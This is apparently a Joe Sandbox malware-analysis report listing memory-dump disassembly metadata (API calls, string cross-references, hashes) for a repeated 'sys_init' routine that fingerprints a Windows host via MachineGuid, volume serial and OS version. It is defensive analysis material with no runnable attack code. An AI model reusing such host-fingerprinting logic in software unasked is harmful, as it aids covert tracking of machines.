Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: ab038bee8234f97caf7f98465cb859aae6a65c5825cd4cb70bab40e8f46f15f3
Instruction ID: 98fa33b84cb37dc933a4c8883a39201de828f2e9f17d79c14e29ab87f1492e51
Opcode Fuzzy Hash: ab038bee8234f97caf7f98465cb859aae6a65c5825cd4cb70bab40e8f46f15f3
Instruction Fuzzy Hash: 86D14FA2F0C6D281FA228774EC543BC6361AF73B54F1D06F2C94D376A9DE2DA8458781

Function 00007FFB2273C25C Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB2273BC64: LoadLibraryA.KERNEL32 ref: 00007FFB2273BC72

Part of subcall function 00007FFB2273BBE3: GetProcAddress.KERNEL32 ref: 00007FFB2273BC03

FreeLibrary.KERNEL32 ref: 00007FFB2273C2EF
GetNativeSystemInfo.KERNEL32 ref: 00007FFB2273C33B
GetWindowsDirectoryA.KERNEL32 ref: 00007FFB2273C354
GetLastError.KERNEL32 ref: 00007FFB2273C362

Strings

[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FFB2273C527
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FFB2273C565
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FFB2273C48A
%, xrefs: 00007FFB2273C469
RtlGetVersion, xrefs: 00007FFB2273C27C
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FFB2273C787
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FFB2273C6AE
sys_init, xrefs: 00007FFB2273C2CD, 00007FFB2273C302, 00007FFB2273C36D, 00007FFB2273C44E, 00007FFB2273C520, 00007FFB2273C55E, 00007FFB2273C611, 00007FFB2273C6A7, 00007FFB2273C780
\, xrefs: 00007FFB2273C4C0
~, xrefs: 00007FFB2273C589
P, xrefs: 00007FFB2273C592
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FFB2273C618
MachineGuid, xrefs: 00007FFB2273C483
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FFB2273C374
:, xrefs: 00007FFB2273C4BB
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FFB2273C455
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB2273C309
, xrefs: 00007FFB2273C533
ntdll.dll, xrefs: 00007FFB2273C264
C:\Windows, xrefs: 00007FFB2273C34D, 00007FFB2273C440
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FFB2273C2D4
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FFB2273C47C, 00007FFB2273C550

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 46ca43fdad5aebfdff8ff7f637804f566179bbe5369bf1760046e13ede7a569f
Instruction ID: 0f6de6d236f2df9fca73f5cbfa74ca46114d82ea1df0c1797422bde06819aef3
Opcode Fuzzy Hash: 46ca43fdad5aebfdff8ff7f637804f566179bbe5369bf1760046e13ede7a569f
Instruction Fuzzy Hash: 1FD16AE2F0C6D781FB229B75EC403B96260AB47B50F15103AC94ED72B0DEEDAD848742

Function 00007FFB227644CC Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB22764DF4: LoadLibraryA.KERNEL32 ref: 00007FFB22764E02

Part of subcall function 00007FFB22764D73: GetProcAddress.KERNEL32 ref: 00007FFB22764D93

FreeLibrary.KERNEL32 ref: 00007FFB2276455F
GetNativeSystemInfo.KERNEL32 ref: 00007FFB227645AB
GetWindowsDirectoryA.KERNEL32 ref: 00007FFB227645C4
GetLastError.KERNEL32 ref: 00007FFB227645D2

Strings

[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FFB22764888
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FFB227646FA
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FFB22764797
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FFB227645E4
sys_init, xrefs: 00007FFB2276453D, 00007FFB22764572, 00007FFB227645DD, 00007FFB227646BE, 00007FFB22764790, 00007FFB227647CE, 00007FFB22764881, 00007FFB22764917, 00007FFB227649F0
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FFB227649F7
%, xrefs: 00007FFB227646D9
P, xrefs: 00007FFB22764802
MachineGuid, xrefs: 00007FFB227646F3
:, xrefs: 00007FFB2276472B
~, xrefs: 00007FFB227647F9
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FFB227646EC, 00007FFB227647C0
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FFB227647D5
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FFB2276491E
ntdll.dll, xrefs: 00007FFB227644D4
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FFB227646C5
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB22764579
\, xrefs: 00007FFB22764730
C:\Windows, xrefs: 00007FFB227645BD, 00007FFB227646B0
RtlGetVersion, xrefs: 00007FFB227644EC
, xrefs: 00007FFB227647A3
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FFB22764544

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 8496e7bb406785b1ac4194d1313cb78f70ffddb51f70b2bc06b7f1d5756571b6
Instruction ID: c380f77c63e8d704fad53303612589eb1f04815ffa7fedeb80aeb59e70c89a82
Opcode Fuzzy Hash: 8496e7bb406785b1ac4194d1313cb78f70ffddb51f70b2bc06b7f1d5756571b6
Instruction Fuzzy Hash: 1CD16DA1E0C6D3D1FB329B35ED603B822A0AB4B754F150036D94ED76B9DEACEC448785

Function 00007FFB23B06E0C Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB23B07734: LoadLibraryA.KERNEL32 ref: 00007FFB23B07742

Part of subcall function 00007FFB23B076B3: GetProcAddress.KERNEL32 ref: 00007FFB23B076D3

FreeLibrary.KERNEL32 ref: 00007FFB23B06E9F
GetNativeSystemInfo.KERNEL32 ref: 00007FFB23B06EEB
GetWindowsDirectoryA.KERNEL32 ref: 00007FFB23B06F04
GetLastError.KERNEL32 ref: 00007FFB23B06F12

Strings

sys_init, xrefs: 00007FFB23B06E7D, 00007FFB23B06EB2, 00007FFB23B06F1D, 00007FFB23B06FFE, 00007FFB23B070D0, 00007FFB23B0710E, 00007FFB23B071C1, 00007FFB23B07257, 00007FFB23B07330
MachineGuid, xrefs: 00007FFB23B07033
P, xrefs: 00007FFB23B07142
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FFB23B0702C, 00007FFB23B07100
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FFB23B07005
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FFB23B07337
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FFB23B0725E
RtlGetVersion, xrefs: 00007FFB23B06E2C
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FFB23B07115
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FFB23B070D7
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FFB23B06F24
~, xrefs: 00007FFB23B07139
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FFB23B071C8
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23B06EB9
:, xrefs: 00007FFB23B0706B
\, xrefs: 00007FFB23B07070
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FFB23B0703A
C:\Windows, xrefs: 00007FFB23B06EFD, 00007FFB23B06FF0
ntdll.dll, xrefs: 00007FFB23B06E14
%, xrefs: 00007FFB23B07019
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FFB23B06E84
, xrefs: 00007FFB23B070E3

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 1abb5038b05963b776529e4456fc73da6518fb59ef7b608b67d2e6a0660e025b
Instruction ID: deff1a18ad59c8b9543767c3585fbed7db0fe0bc3288fd7f1c018a3cf11f4247
Opcode Fuzzy Hash: 1abb5038b05963b776529e4456fc73da6518fb59ef7b608b67d2e6a0660e025b
Instruction Fuzzy Hash: FDD16DB9E1C6E681FB228F35EC893BCA250AF41754F1C01F6D9CD67A91DE2CE9458381

Function 00007FFB2270210C Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB22702A34: LoadLibraryA.KERNEL32 ref: 00007FFB22702A42

Part of subcall function 00007FFB227029B3: GetProcAddress.KERNEL32 ref: 00007FFB227029D3

FreeLibrary.KERNEL32 ref: 00007FFB2270219F
GetNativeSystemInfo.KERNEL32 ref: 00007FFB227021EB
GetWindowsDirectoryA.KERNEL32 ref: 00007FFB22702204
GetLastError.KERNEL32 ref: 00007FFB22702212

Strings

[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FFB22702415
sys_init, xrefs: 00007FFB2270217D, 00007FFB227021B2, 00007FFB2270221D, 00007FFB227022FE, 00007FFB227023D0, 00007FFB2270240E, 00007FFB227024C1, 00007FFB22702557, 00007FFB22702630
ntdll.dll, xrefs: 00007FFB22702114
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FFB2270233A
C:\Windows, xrefs: 00007FFB227021FD, 00007FFB227022F0
RtlGetVersion, xrefs: 00007FFB2270212C
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FFB22702184
, xrefs: 00007FFB227023E3
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB227021B9
P, xrefs: 00007FFB22702442
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FFB22702305
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FFB227023D7
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FFB2270232C, 00007FFB22702400
~, xrefs: 00007FFB22702439
%, xrefs: 00007FFB22702319
:, xrefs: 00007FFB2270236B
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FFB227024C8
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FFB22702637
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FFB2270255E
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FFB22702224
MachineGuid, xrefs: 00007FFB22702333
\, xrefs: 00007FFB22702370

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 2d6eb3587d012150d0035a763db43da1dea75cf5edb20fa8ee07f934ba88f8ca
Instruction ID: b44231a014dd756dc90a1d80690417c90c3a1b65a4131f3fdb06f856d1611e6b
Opcode Fuzzy Hash: 2d6eb3587d012150d0035a763db43da1dea75cf5edb20fa8ee07f934ba88f8ca
Instruction Fuzzy Hash: 4BD16CE2E0C6D381FA668B74EC503B92260AF67750F150132D94DD76B4DEECEE888741

Function 00007FFB23AD348C Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB23AD3DB4: LoadLibraryA.KERNEL32 ref: 00007FFB23AD3DC2

Part of subcall function 00007FFB23AD3D33: GetProcAddress.KERNEL32 ref: 00007FFB23AD3D53

FreeLibrary.KERNEL32 ref: 00007FFB23AD351F
GetNativeSystemInfo.KERNEL32 ref: 00007FFB23AD356B
GetWindowsDirectoryA.KERNEL32 ref: 00007FFB23AD3584
GetLastError.KERNEL32 ref: 00007FFB23AD3592

Strings

[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FFB23AD3504
\, xrefs: 00007FFB23AD36F0
C:\Windows, xrefs: 00007FFB23AD357D, 00007FFB23AD3670
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FFB23AD3685
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FFB23AD3757
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FFB23AD3795
:, xrefs: 00007FFB23AD36EB
, xrefs: 00007FFB23AD3763
%, xrefs: 00007FFB23AD3699
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FFB23AD36BA
MachineGuid, xrefs: 00007FFB23AD36B3
~, xrefs: 00007FFB23AD37B9
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AD3539
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FFB23AD39B7
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FFB23AD3848
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FFB23AD38DE
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FFB23AD35A4
P, xrefs: 00007FFB23AD37C2
RtlGetVersion, xrefs: 00007FFB23AD34AC
sys_init, xrefs: 00007FFB23AD34FD, 00007FFB23AD3532, 00007FFB23AD359D, 00007FFB23AD367E, 00007FFB23AD3750, 00007FFB23AD378E, 00007FFB23AD3841, 00007FFB23AD38D7, 00007FFB23AD39B0
ntdll.dll, xrefs: 00007FFB23AD3494
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FFB23AD36AC, 00007FFB23AD3780

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: f8fc02968b23630bcbc2ef19b2b22130ef80d4e74df1872f80140d4213a9ea3d
Instruction ID: d7f478b4b005f1d836a248c6bdc1042dc911f2e8fb5fac22c9cf41e93c994473
Opcode Fuzzy Hash: f8fc02968b23630bcbc2ef19b2b22130ef80d4e74df1872f80140d4213a9ea3d
Instruction Fuzzy Hash: 13D149E1E0CADB85FA639774EC803BD2290AF47B54F1C41B2D94E276E4DE2DE8458781

Function 00007FF7AABD28FC Relevance: 52.8, APIs: 10, Strings: 20, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AABD2304: LoadLibraryA.KERNEL32(?,?,service,0000027B435613D0,00007FF7AABD2910), ref: 00007FF7AABD2312

Part of subcall function 00007FF7AABD2283: GetProcAddress.KERNEL32(?,?,00000000,0000027B435613D0,?,00007FF7AABD292B), ref: 00007FF7AABD22A3

FreeLibrary.KERNEL32 ref: 00007FF7AABD298F
GetNativeSystemInfo.KERNEL32 ref: 00007FF7AABD29DB
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7AABD29F4
GetLastError.KERNEL32 ref: 00007FF7AABD2A02

Strings

[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF7AABD2C05
C:\Windows, xrefs: 00007FF7AABD29ED, 00007FF7AABD2AE0
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF7AABD2974
\, xrefs: 00007FF7AABD2B60
service, xrefs: 00007FF7AABD28FF
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF7AABD2A14
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF7AABD2B1C, 00007FF7AABD2BF0
%, xrefs: 00007FF7AABD2B09
sys_init, xrefs: 00007FF7AABD296D, 00007FF7AABD29A2, 00007FF7AABD2A0D, 00007FF7AABD2AEE, 00007FF7AABD2BC0, 00007FF7AABD2BFE, 00007FF7AABD2CB1, 00007FF7AABD2D47, 00007FF7AABD2E20
MachineGuid, xrefs: 00007FF7AABD2B23
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF7AABD29A9
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF7AABD2B2A
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF7AABD2AF5
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF7AABD2BC7
ntdll.dll, xrefs: 00007FF7AABD2904
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF7AABD2E27
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF7AABD2CB8
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF7AABD2D4E
RtlGetVersion, xrefs: 00007FF7AABD291C
:, xrefs: 00007FF7AABD2B5B

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: %$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$service$sys_init
API String ID: 3828489143-3798070276
Opcode ID: a57b692ad12e5eeb41306e7f3187960999aff03a888e3c7662513fb2fc337020
Instruction ID: 9ba5a621ffd9bae3baf2e56d183d676ea3adf6df110f94757833b3422ac9a61e
Opcode Fuzzy Hash: a57b692ad12e5eeb41306e7f3187960999aff03a888e3c7662513fb2fc337020
Instruction Fuzzy Hash: 5FD17971E0FA96C1FAA0BB54E4403B8E360AB20755FD711B6C94E176B0DE2DED868361

